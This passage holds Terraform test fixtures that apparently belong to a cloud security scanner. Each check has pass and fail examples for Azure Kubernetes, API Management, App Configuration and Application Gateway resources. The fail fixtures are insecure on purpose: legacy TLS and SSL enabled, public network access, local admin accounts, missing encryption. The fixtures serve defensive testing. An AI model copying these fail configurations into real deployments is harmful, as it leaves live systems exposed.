"azurerm" { features {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSEncryptionAtHostEnabled/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 default_node_pool { name = "default" enable_host_encryption = true vm_size = "Standard_E4ads_v5" os_disk_type = "Ephemeral" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } resource "azurerm_kubernetes_cluster_node_pool" "pass" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 enable_host_encryption = true tags = { Environment = "Production" } } resource "azurerm_kubernetes_cluster" "pass_new" { name = "internal" default_node_pool { host_encryption_enabled = true } } resource "azurerm_kubernetes_cluster_node_pool" "pass_new" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 host_encryption_enabled = true } resource "azurerm_kubernetes_cluster" "fail_new" { name = "internal" default_node_pool { host_encryption_enabled = false } } resource "azurerm_kubernetes_cluster_node_pool" "fail_new" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 host_encryption_enabled = false } resource "azurerm_kubernetes_cluster" "fail1" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 tags = { Environment = "Production" } default_node_pool { name = "default" enable_host_encryption = false vm_size = "Standard_E4ads_v5" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } resource "azurerm_kubernetes_cluster_node_pool" "fail1" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 enable_host_encryption = false tags = { Environment = "Production" } } resource "azurerm_kubernetes_cluster" "fail2" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 default_node_pool { name = "default" vm_size = "Standard_E4ads_v5" os_disk_type = "Ephemeral" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } resource "azurerm_kubernetes_cluster_node_pool" "fail2" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSEphemeralOSDisks/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 default_node_pool { name = "default" enable_host_encryption = true vm_size = "Standard_E4ads_v5" os_disk_type = "Ephemeral" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } resource "azurerm_kubernetes_cluster" "fail" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 tags = { Environment = "Production" } default_node_pool { name = "default" enable_host_encryption = true vm_size = "Standard_E4ads_v5" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } resource "azurerm_kubernetes_cluster" "fail2" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 os_disk_type = "Managed" tags = { Environment = "Production" } default_node_pool { name = "default" enable_host_encryption = true vm_size = "Standard_E4ads_v5" os_disk_type = "Managed" zones = [1, 2, 3] only_critical_addons_enabled = true type = "VirtualMachineScaleSets" vnet_subnet_id = var.subnet_id enable_auto_scaling = true max_count = 6 min_count = 2 orchestrator_version = local.kubernetes_version } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSIsPaidSku/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" sku_tier = "Standard" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 type = "VirtualMachineScaleSets" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" sku_tier = "Free" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 type = "AvailabilitySet" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSLocalAdminDisabled/main.tf ================================================ ## SHOULD PASS: Explicitly disabled resource "azurerm_kubernetes_cluster" "ckv_unittest_pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name local_account_disabled = true default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } ## SHOULD FAIL: Default is enabled resource "azurerm_kubernetes_cluster" "ckv_unittest_fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } ## SHOULD FAIL: Explicitly enabled resource "azurerm_kubernetes_cluster" "ckv_unittest_fail_2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name local_account_disabled = false default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSMaxPodsMinimum/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "failed_empty_max_pods" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = [] } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster_node_pool" "pass" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 max_pods = 51 tags = { Environment = "Production" } } resource "azurerm_kubernetes_cluster_node_pool" "fail" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 max_pods = 33 tags = { Environment = "Production" } } resource "azurerm_kubernetes_cluster_node_pool" "fail2" { name = "internal" kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id vm_size = "Standard_DS2_v2" node_count = 1 tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSNodePublicIpDisabled/main.tf ================================================ ## SHOULD PASS: Default is false resource "azurerm_kubernetes_cluster" "ckv_unittest_pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } ## SHOULD FAIL: Explicitly set to true resource "azurerm_kubernetes_cluster" "ckv_unittest_fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" enable_node_public_ip = true } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = "default" node_count = 1 vm_size = "Standard_D2_v2" node_public_ip_enabled = true } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSOnlyCriticalPodsOnSystemNodes/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "example" default_node_pool { name = "defaultpool" only_critical_addons_enabled = true } } resource "azurerm_kubernetes_cluster" "fail1" { name = "example" default_node_pool { name = "defaultpool" } } resource "azurerm_kubernetes_cluster" "fail2" { name = "example" default_node_pool { name = "defaultpool" only_critical_addons_enabled = false } } resource "azurerm_kubernetes_cluster" "fail3" { name = "example" } resource "azurerm_kubernetes_cluster" "fail4" { name = "example" only_critical_addons_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSPoolTypeIsScaleSet/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 type = "VirtualMachineScaleSets" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 type = "AvailabilitySet" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "pass2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSSecretStoreRotation/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" sku_tier = "Paid" key_vault_secrets_provider { secret_rotation_enabled = true } default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 type = "VirtualMachineScaleSets" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" sku_tier = "Free" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 type = "AvailabilitySet" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail2" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" key_vault_secrets_provider { secret_rotation_enabled = false } default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } ================================================ FILE: tests/terraform/checks/resource/azure/example_AKSUpgradeChannel/main.tf ================================================ resource "azurerm_kubernetes_cluster" "pass_new" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" automatic_upgrade_channel = "stable" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 type = "VirtualMachineScaleSets" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "pass_old" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" automatic_channel_upgrade = "stable" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 51 type = "VirtualMachineScaleSets" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail_new" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" automatic_upgrade_channel = "none" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 type = "AvailabilitySet" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail2_new" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail_old" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" automatic_channel_upgrade = "none" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size max_pods = 28 type = "AvailabilitySet" } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } resource "azurerm_kubernetes_cluster" "fail2_old" { name = "example-aks1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name dns_prefix = "exampleaks1" default_node_pool { name = var.default_node_pool.name node_count = var.default_node_pool.node_count vm_size = var.default_node_pool.vm_size } identity { type = "SystemAssigned" } tags = var.tags local_account_disabled = var.local_account_disabled private_cluster_enabled = var.private_cluster } ================================================ FILE: tests/terraform/checks/resource/azure/example_APIManagementBackendHTTPS/main.tf ================================================ resource "azurerm_api_management_backend" "pass" { name = "example-pike" resource_group_name = azurerm_resource_group.example.name api_management_name = azurerm_api_management.example.name protocol = "http" url = "https://backend" } resource "azurerm_api_management_backend" "fail" { name = "example-backend" resource_group_name = azurerm_resource_group.example.name api_management_name = azurerm_api_management.example.name protocol = "http" url = "http://backend" } ================================================ FILE: tests/terraform/checks/resource/azure/example_APIManagementCertsEnforced/main.tf ================================================ resource "azurerm_api_management" "ignore" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Developer_1" policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } identity { } } resource "azurerm_api_management" "faulty" { } #not set resource "azurerm_api_management" "fail" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } identity { } } #false resource "azurerm_api_management" "fail2" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" client_certificate_enabled = false policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } identity { } } resource "azurerm_api_management" "pass" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" client_certificate_enabled = true policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } identity { } } ================================================ FILE: tests/terraform/checks/resource/azure/example_APIManagementMinTLS12/main.tf ================================================ resource "azurerm_api_management" "pass" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type virtual_network_configuration { subnet_id = var.api.subnet_id } } resource "azurerm_api_management" "fail" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type security { enable_back_end_ssl30 = true } virtual_network_configuration { subnet_id = var.api.subnet_id } } resource "azurerm_api_management" "fail2" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type security { enable_backend_tls10 = true } virtual_network_configuration { subnet_id = var.api.subnet_id } } resource "azurerm_api_management" "fail3" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type security { enable_frontend_ssl30 = true } virtual_network_configuration { subnet_id = var.api.subnet_id } } resource "azurerm_api_management" "fail4" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type security { enable_frontend_tls10 = true } virtual_network_configuration { subnet_id = var.api.subnet_id } } resource "azurerm_api_management" "fail5" { name = var.api.name location = var.location resource_group_name = var.rg_name publisher_name = var.api.publisher_name publisher_email = var.api.publisher_email sku_name = var.api.sku_name client_certificate_enabled = var.client_certificate virtual_network_type = var.api.virtual_network_type security { enable_frontend_tls11 = true } virtual_network_configuration { subnet_id = var.api.subnet_id } } ================================================ FILE: tests/terraform/checks/resource/azure/example_APIManagementPublicAccess/main.tf ================================================ resource "azurerm_api_management" "fail" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } public_network_access_enabled = true } resource "azurerm_api_management" "fail2" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" client_certificate_enabled = false policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } identity { } } resource "azurerm_api_management" "pass" { name = "example-apim" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name publisher_name = "My Company" publisher_email = "company@terraform.io" sku_name = "Consumption" client_certificate_enabled = true policy { xml_content = < XML } security { enable_frontend_tls10 = false enable_frontend_tls11 = false enable_frontend_ssl30 = false } public_network_access_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppConfigEncryption/main.tf ================================================ resource "azurerm_app_configuration" "pass" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { key_vault_key_identifier = azurerm_key_vault_key.example.id identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail2" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppConfigLocalAuth/main.tf ================================================ resource "azurerm_app_configuration" "pass" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = false public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { key_vault_key_identifier = azurerm_key_vault_key.example.id identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail2" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppConfigPublicAccess/main.tf ================================================ resource "azurerm_app_configuration" "pass" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Disabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { key_vault_key_identifier = azurerm_key_vault_key.example.id identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } tags = { environment = "development" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppConfigPurgeProtection/main.tf ================================================ resource "azurerm_app_configuration" "pass" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = true soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { key_vault_key_identifier = azurerm_key_vault_key.example.id identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail2" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppConfigSku/main.tf ================================================ resource "azurerm_app_configuration" "pass" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { key_vault_key_identifier = azurerm_key_vault_key.example.id identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "basic" local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } tags = { environment = "development" } } resource "azurerm_app_configuration" "fail2" { name = "appConf2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location local_auth_enabled = true public_network_access = "Enabled" purge_protection_enabled = false soft_delete_retention_days = 1 identity { type = "UserAssigned" identity_ids = [ azurerm_user_assigned_identity.example.id, ] } encryption { identity_client_id = azurerm_user_assigned_identity.example.client_id } tags = { environment = "development" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_virtual_network" "example" { name = "example-network" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location address_space = ["10.254.0.0/16"] } resource "azurerm_subnet" "frontend" { name = "frontend" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.254.0.0/24"] } resource "azurerm_subnet" "backend" { name = "backend" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.254.2.0/24"] } resource "azurerm_public_ip" "example" { name = "example-pip" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location allocation_method = "Dynamic" } # since these variables are reused - a locals block makes this more maintainable locals { backend_address_pool_name = "${azurerm_virtual_network.example.name}-beap" frontend_port_name = "${azurerm_virtual_network.example.name}-feport" frontend_ip_configuration_name = "${azurerm_virtual_network.example.name}-feip" http_setting_name = "${azurerm_virtual_network.example.name}-be-htst" listener_name = "${azurerm_virtual_network.example.name}-httplstn" request_routing_rule_name = "${azurerm_virtual_network.example.name}-rqrt" redirect_configuration_name = "${azurerm_virtual_network.example.name}-rdrcfg" } //no ssl_policy block resource "azurerm_application_gateway" "fail" { name = "example-appgateway-fail" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } } //no policy_type set resource "azurerm_application_gateway" "fail2" { name = "example-appgateway-fail2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } 